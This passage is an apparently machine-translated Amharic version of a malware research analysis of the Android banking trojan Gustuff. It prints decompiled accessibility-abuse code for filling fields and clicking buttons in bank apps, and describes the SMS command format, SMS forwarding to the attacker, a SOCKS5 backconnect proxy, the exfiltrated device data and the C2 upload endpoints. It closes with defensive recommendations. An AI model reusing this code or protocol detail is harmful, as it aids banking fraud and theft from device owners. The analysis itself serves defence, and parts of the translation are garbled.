2. PARAMS_ACTIONS - ልክ እንደ PARAMS_ACTION፣ የJSON ድርድር ብቻ ነው የሚመጣው።

ብዙ ሰዎች ከሌላ መተግበሪያ የመስኮት አካላት ጋር የመገናኘት ተግባር ምን እንደሚመስል ለማወቅ ፍላጎት ያላቸው ይመስላል። ይህ ተግባር በGustuff ውስጥ የሚተገበረው በዚህ መንገድ ነው፡-

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

የጽሑፍ ምትክ ተግባር፡-

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

ስለዚህ, የመቆጣጠሪያ አገልጋዩ ትክክለኛ ውቅር, Gustuff በባንክ አፕሊኬሽኑ ውስጥ የጽሑፍ መስኮችን መሙላት እና ግብይቱን ለማጠናቀቅ አስፈላጊ የሆኑትን አዝራሮች ጠቅ ማድረግ ይችላል. ትሮጃን ወደ አፕሊኬሽኑ መግባት እንኳን አያስፈልገውም - የ PUSH ማሳወቂያን ለማሳየት ትእዛዝ መላክ እና ከዚያ ቀደም የተጫነውን የባንክ መተግበሪያ መክፈት በቂ ነው። ተጠቃሚው እራሱን ያረጋግጣል, ከዚያ በኋላ Gustuff መኪናውን መሙላት ይችላል.

የኤስኤምኤስ መልእክት ማቀናበሪያ ሞዱል

አፕሊኬሽኑ ለተበከለው መሳሪያ የኤስኤምኤስ መልዕክቶችን ለመቀበል የክስተት ተቆጣጣሪን ይጭናል። በጥናት ላይ ያለው መተግበሪያ በኤስኤምኤስ መልእክት አካል ውስጥ የሚመጡትን ከኦፕሬተር ትዕዛዞችን መቀበል ይችላል። ትእዛዞች በቅርጸት ይመጣሉ፡-

7!5=<%Base64 ኮድ የተደረገ ትዕዛዝ%>

አፕሊኬሽኑ በሁሉም የኤስኤምኤስ መልዕክቶች ውስጥ ሕብረቁምፊውን ይፈልጋል 7!5=, አንድ ሕብረቁምፊ ሲገኝ ሕብረቁምፊውን ከ Base64 በማካካሻ 4 ላይ ይከፍታል እና ትዕዛዙን ያስፈጽማል. ትእዛዞቹ ከ CnC ጋር ተመሳሳይ ናቸው። የማስፈጸሚያ ውጤቱ ትዕዛዙ ወደ መጣበት ተመሳሳይ ቁጥር ይላካል. የምላሽ ቅርጸት፡-

7*5=<%Base64 የ"የውጤት_ኮድ ትዕዛዝ"%> ኮድ

እንደ አማራጭ, አፕሊኬሽኑ ሁሉንም የተቀበሉት መልዕክቶች ወደ Root ቁጥር መላክ ይችላል. ይህንን ለማድረግ የ Root ቁጥሩ በምርጫ ፋይሉ ውስጥ መገለጽ አለበት እና የመልእክት ማዘዋወር ባንዲራ መዘጋጀት አለበት። የኤስኤምኤስ መልእክት ወደ አጥቂው ቁጥር በቅርጸት ይላካል፡-

<%ከቁጥር%> - <%ሰዓት፣ ቅርጸት፡ dd/ወወ/ዓወ HH:mm:ss%> <%ኤስኤምኤስ አካል%>

እንዲሁም፣ እንደ አማራጭ፣ አፕሊኬሽኑ ወደ CnC መልዕክቶችን መላክ ይችላል። የኤስኤምኤስ መልእክት ወደ አገልጋዩ በJSON ቅርጸት ይላካል፡-

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

ባንዲራ ከተዘጋጀ ስም ጀነሬተር("DEFAULT_APP_SMS") - አፕሊኬሽኑ የኤስኤምኤስ መልእክት መስራት ያቆማል እና የገቢ መልዕክቶችን ዝርዝር ያጸዳል።

ተኪ ሞጁል

በጥናት ላይ ያለው መተግበሪያ የBackconnect Proxy ሞጁል (ከዚህ በኋላ ፕሮክሲ ሞጁል ተብሎ የሚጠራ) ይዟል፣ እሱም የተለየ ክፍል ያለው ውቅረት ያላቸው የማይንቀሳቀሱ መስኮችን ያካትታል። የማዋቀር ውሂብ በናሙና ውስጥ በግልጽ ተቀምጧል፡-

አንድሮይድ ትሮጃን ጉስቱፍ ክሬሙን (fiat እና crypto) ከሂሳብዎ እንዴት እንደሚያስወግድ

በፕሮክሲ ሞጁል የተከናወኑ ሁሉም ድርጊቶች ወደ ፋይሎች ገብተዋል። ይህንን ለማድረግ በውጫዊ ማከማቻ ውስጥ ያለው አፕሊኬሽን "Logs" የሚባል ማውጫ ይፈጥራል (በማዋቀሪያ ክፍል ውስጥ ProxyConfigClass.logsDir መስክ) የምዝግብ ማስታወሻ ፋይሎች የሚቀመጡበት። ምዝግብ ማስታወሻዎች ስሞች ባላቸው ፋይሎች ውስጥ ይከሰታል

  1. ዋና.txt - CommandServer ተብሎ የሚጠራው ክፍል ሥራ በዚህ ፋይል ውስጥ ገብቷል. በሚከተለው ውስጥ string str ወደዚህ ፋይል መግባት እንደ mainLog(str) ይገለጻል።
  2. ክፍለ-<%id%>.txt - ይህ ፋይል ከአንድ የተወሰነ የተኪ ክፍለ ጊዜ ጋር የተገናኘ የምዝግብ ማስታወሻ ውሂብን ያስቀምጣል። በሚከተለው ውስጥ string str ወደዚህ ፋይል መግባት እንደ ክፍለ ጊዜ ሎግ (str) ይገለጻል።
  3. አገልጋይ.txt - ይህ ፋይል ከላይ በተገለጹት ፋይሎች ላይ የተፃፉትን ሁሉንም መረጃዎች ለመመዝገብ ይጠቅማል።

የምዝግብ ማስታወሻ ቅርጸት፡

<%ቀን%> [ክር[<%thread id%>]፣ መታወቂያ[]]: ሎግ-string

በፕሮክሲ ሞጁል አሠራር ወቅት የሚከሰቱ ልዩ ሁኔታዎችም ወደ ፋይል ገብተዋል። ይህንን ለማድረግ አፕሊኬሽኑ የJSON ነገርን በሚከተለው ቅርጸት ያመነጫል።

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

ከዚያም ወደ ሕብረቁምፊ ውክልና ይለውጠዋል እና ይመዘግባል.

ተኪ ሞጁሉ ተጓዳኙን ትዕዛዝ ከተቀበለ በኋላ ይጀምራል. የተኪ ሞጁሉን ለማስጀመር ትእዛዝ ሲደርሰው አፕሊኬሽኑ የሚባል አገልግሎት ይጀምራል ዋና አገልግሎትየተኪ ሞጁሉን ሥራ የማስተዳደር ኃላፊነት ያለው - መጀመር እና ማቆም.

አገልግሎቱን ለመጀመር ደረጃዎች:

1. በደቂቃ አንድ ጊዜ የሚሰራ የሰዓት ቆጣሪ ይጀምራል እና የተኪ ሞጁሉን እንቅስቃሴ የሚፈትሽ። ሞጁሉ ንቁ ካልሆነ, ይጀምራል.
እንዲሁም ክስተቱ በሚነሳበት ጊዜ android.net.conn.CONNECTIVITY_CHANGE የተኪ ሞጁል ተጀምሯል።

2. መተግበሪያው ከመለኪያው ጋር መቀስቀሻ-መቆለፊያን ይፈጥራል ከፊል_WAKE_LOCK እና ያዘው. ይህ የመሳሪያው ሲፒዩ ወደ እንቅልፍ ሁነታ እንዳይሄድ ይከላከላል.

3. የፕሮክሲ ሞጁሉን የትዕዛዝ ማቀናበሪያ ክፍልን ይጀምራል፣ መጀመሪያ መስመሩን ያስገቡ ዋና ሎግ ("ጀምር አገልጋይ") и

አገልጋይ::ጀምር() አስተናጋጅ[<%proxy_cnc%>]፣ CommandPort[<%command_port%>]፣ proxyPort[<%proxy_port%>]

የት proxy_cnc፣ Command_port እና proxy_port - ከተኪ አገልጋይ ውቅር የተገኙ መለኪያዎች።

የትዕዛዝ ማቀናበሪያ ክፍል ይባላል የትእዛዝ ግንኙነት. ከጅምር በኋላ ወዲያውኑ የሚከተሉትን ተግባራት ያከናውናል:

4. ጋር ይገናኛል። ProxyConfigClass.host: ProxyConfigClass.commandPort እና ስለተበከለው መሳሪያ መረጃ ወደዚያ በJSON ቅርጸት ይልካል፡-

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

የት

  • መታወቂያ - ለዪ፣ በ"መታወቂያ" መስክ "x" ከሚባል የተጋራ ምርጫ ፋይል ዋጋ ለማግኘት ይሞክራል። ይህ እሴት ማግኘት ካልቻለ አዲስ ያመነጫል። ስለዚህ የፕሮክሲ ሞጁል የራሱ መለያ አለው፣ እሱም ከቦት መታወቂያው ጋር በተመሳሳይ መልኩ ይፈጠራል።
  • imei - የመሣሪያው IMEI. እሴቱን በማግኘቱ ሂደት ላይ ስህተት ከተፈጠረ በዚህ መስክ ምትክ የስህተት የጽሑፍ መልእክት ይጻፋል።
  • imsi - ዓለም አቀፍ የሞባይል ተመዝጋቢ የመሣሪያው ማንነት። እሴቱን በማግኘቱ ሂደት ላይ ስህተት ከተፈጠረ በዚህ መስክ ምትክ የስህተት የጽሑፍ መልእክት ይጻፋል።
  • ሞዴል - ለመጨረሻው ምርት የመጨረሻ ተጠቃሚ-የሚታየው ስም።
  • አምራች - የምርት / ሃርድዌር (Build.MANUFACTURER) አምራች.
  • androidVersion - ሕብረቁምፊ በ"<%release_version%>(<%os_version%>)"፣<%sdk_version%>"
  • አገር - የመሣሪያው የአሁኑ ቦታ.
  • partnerID ባዶ ሕብረቁምፊ ነው።
  • የጥቅል ስም - የጥቅል ስም.
  • የአውታረ መረብ አይነት - የአሁኑ የአውታረ መረብ ግንኙነት አይነት (ለምሳሌ "WIFI", "MOBILE"). ስህተት ከተፈጠረ ባዶ ይመልሳል።
  • hasGsmSupport - እውነት - ስልኩ GSMን የሚደግፍ ከሆነ, አለበለዚያ ውሸት.
  • simReady - የሲም ካርድ ሁኔታ.
  • simCountry - የ ISO የአገር ኮድ (በሲም ካርድ አቅራቢ ላይ የተመሰረተ)።
  • የአውታረ መረብ ኦፕሬተር - የኦፕሬተር ስም. እሴቱን በማግኘቱ ሂደት ላይ ስህተት ከተፈጠረ በዚህ መስክ ምትክ የስህተት የጽሑፍ መልእክት ይጻፋል።
  • simOperator - የአገልግሎት አቅራቢው ስም (SPN)። እሴቱን በማግኘቱ ሂደት ላይ ስህተት ከተፈጠረ በዚህ መስክ ምትክ የስህተት የጽሑፍ መልእክት ይጻፋል።
  • ስሪት - ይህ መስክ በማዋቀሪያ ክፍል ውስጥ ተከማችቷል ፣ ለተሞከሩት የ bot ስሪቶች ከ “1.6” ጋር እኩል ነበር።

5. ከአገልጋዩ ትዕዛዞችን በመጠባበቅ ሁነታ ይቀየራል. ከአገልጋዩ የሚመጡ ትዕዛዞች በሚከተለው ቅርጸት ይመጣሉ፡-

  • 0 ማካካሻ - ትዕዛዝ
  • 1 ማካካሻ - sessionId
  • 2 ማካካሻ - ርዝመት
  • 4 ማካካሻ - ውሂብ

ትእዛዝ ሲመጣ አፕሊኬሽኑ ይመዘግባል፡-
mainLog("ራስጌ { sessionId<%id%>]፣ አይነት[<%command%>]፣ ርዝመት[<%length%>] })

ከአገልጋዩ የሚከተሉት ትዕዛዞች ይቻላል፡-

ስም ትእዛዝ መረጃ መግለጫ
የግንኙነት መታወቂያ 0 የግንኙነት መታወቂያ አዲስ ግንኙነት ይፍጠሩ
እንቅልፋር 3 ጊዜ የተኪ ሞጁሉን ባለበት ያቁሙ
የጠረጴዛ ቴኒስ 4 - የPONG መልእክት ይላኩ።

የPONG መልእክት 4 ባይት የያዘ ሲሆን ይህን ይመስላል፡- 0x04000000.

የግንኙነትአይድ ትዕዛዝ ሲደርሰው (አዲስ ግንኙነት ለመፍጠር) የትእዛዝ ግንኙነት የክፍል ምሳሌ ይፈጥራል ProxyConnection.

  • ሁለት ክፍሎች በፕሮክሲንግ ውስጥ ይሳተፋሉ፡- ProxyConnection и መጨረሻ. ክፍል ሲፈጥሩ ProxyConnection ከአድራሻው ጋር መገናኘት ProxyConfigClass.host: ProxyConfigClass.proxyPort እና የJSON ነገርን ማለፍ፡-

 {
    "id":<%connectionId%>
}

በምላሹ አገልጋዩ ግንኙነቱ መመስረት ያለበትን የርቀት አገልጋይ አድራሻ የያዘ የ SOCKS5 መልእክት ይልካል። ከዚህ አገልጋይ ጋር መስተጋብር የሚከናወነው በክፍል ውስጥ ነው። መጨረሻ. የግንኙነቱ አደረጃጀት በስርዓተ-ቅርጽ እንደሚከተለው ሊወከል ይችላል።

አንድሮይድ ትሮጃን ጉስቱፍ ክሬሙን (fiat እና crypto) ከሂሳብዎ እንዴት እንደሚያስወግድ

የአውታረ መረብ ግንኙነቶች

በኔትወርክ አጭበርባሪዎች የትራፊክ ትንታኔን ለመከላከል በCnC አገልጋይ እና በመተግበሪያው መካከል ያለው መስተጋብር የSSL ፕሮቶኮሉን በመጠቀም ሊጠበቅ ይችላል። ሁሉም ከአገልጋዩ እና ወደ አገልጋዩ የሚተላለፉ መረጃዎች በJSON ቅርጸት ቀርበዋል ። አፕሊኬሽኑ በሚሰራበት ጊዜ የሚከተሉትን ጥያቄዎች ይፈጽማል፡-

  • http://<%CnC%>/api/v1/set_state.php - የትእዛዝ አፈፃፀም ውጤት።
  • http://<%CnC%>/api/v1/get.php - ትእዛዝ መቀበል.
  • http://<%CnC%>/api/v1/load_sms.php - የኤስኤምኤስ መልዕክቶችን ከተበከለ መሣሪያ ማውረድ።
  • http://<%CnC%>/api/v1/load_ab.php - የእውቂያዎች ዝርዝር ከተበከለ መሣሪያ በመስቀል ላይ።
  • http://<%CnC%>/api/v1/aevents.php - ጥያቄው የሚቀርበው በምርጫ ፋይል ውስጥ ያሉትን መለኪያዎች ሲያዘምን ነው።
  • http://<%CnC%>/api/v1/set_card.php - እንደ ጎግል ፕሌይ ገበያ በማስመሰል የማስገር መስኮት በመጠቀም የተገኘውን መረጃ በመስቀል ላይ።
  • http://<%CnC%>/api/v1/logs.php - የምዝግብ ማስታወሻ ውሂብ በመስቀል ላይ.
  • http://<%CnC%>/api/v1/records.php - በአስጋሪ መስኮቶች የተገኘውን መረጃ በመስቀል ላይ።
  • http://<%CnC%>/api/v1/set_error.php - ስለተፈጠረ ስህተት ማስታወቂያ።

ምክሮች

ደንበኞቻቸውን ከሞባይል ትሮጃኖች ስጋት ለመጠበቅ ኩባንያዎች በተጠቃሚ መሳሪያዎች ላይ ተጨማሪ ሶፍትዌሮችን ሳይጭኑ ተንኮል አዘል ድርጊቶችን ለመቆጣጠር እና ለመከላከል የሚያስችሉ አጠቃላይ መፍትሄዎችን መጠቀም አለባቸው።

ይህንን ለማድረግ የሞባይል ትሮጃኖችን የመለየት የፊርማ ዘዴዎች የደንበኛውንም ሆነ የመተግበሪያውን ባህሪ ለመተንተን በቴክኖሎጂዎች ማጠናከር ያስፈልጋል። ጥበቃው የዲጂታል የጣት አሻራ ቴክኖሎጂን በመጠቀም የመሳሪያ መለያ ተግባርን ማካተት አለበት፣ይህም መለያ ከተለመደው መሳሪያ ላይ ጥቅም ላይ የሚውልበትን ጊዜ እና አስቀድሞ በአጭበርባሪው እጅ እንደወደቀ ለመረዳት ያስችላል።

መሠረታዊ አስፈላጊ ነጥብ ኩባንያዎች በኢንተርኔት ላይ ብቻ ሳይሆን በተንቀሳቃሽ ስልክ ቻናል ላይ የሚነሱ አደጋዎችን ለመቆጣጠር የሚያስችል የቻናል ትንተና መገኘት ነው, ለምሳሌ, ለሞባይል ባንክ አፕሊኬሽኖች, ከክሪፕቶ ምንዛሬዎች እና ከሌሎች ጋር በሚደረጉ ግብይቶች ውስጥ. ግብይቶች ሊከናወኑ ይችላሉ የገንዘብ ልውውጥ .

ለተጠቃሚዎች የደህንነት ደንቦች:

  • መተግበሪያዎችን ለአንድሮይድ ኦፕሬቲንግ ተንቀሳቃሽ መሳሪያ ከGoogle ፕሌይ ውጪ ካሉ ምንጮች አይጭኑ ፣ በመተግበሪያው ለሚጠየቁ መብቶች ልዩ ትኩረት ይስጡ ፣
  • በመደበኛነት የ Android OS ዝመናዎችን ይጫኑ;
  • የወረዱ ፋይሎችን ማራዘሚያ ትኩረት ይስጡ;
  • አጠራጣሪ ሀብቶችን አይጎበኙ;
  • በኤስኤምኤስ መልእክት የተቀበሉትን አገናኞች አይጫኑ።

ኮከብ በማድረግ ላይ ሴሚዮን ሮጋቼቫበቡድን-IB የኮምፒውተር ፎረንሲክስ ላብራቶሪ ውስጥ በማልዌር ምርምር ውስጥ ጁኒየር ስፔሻሊስት።

ምንጭ: hab.com

አስተያየት ያክሉ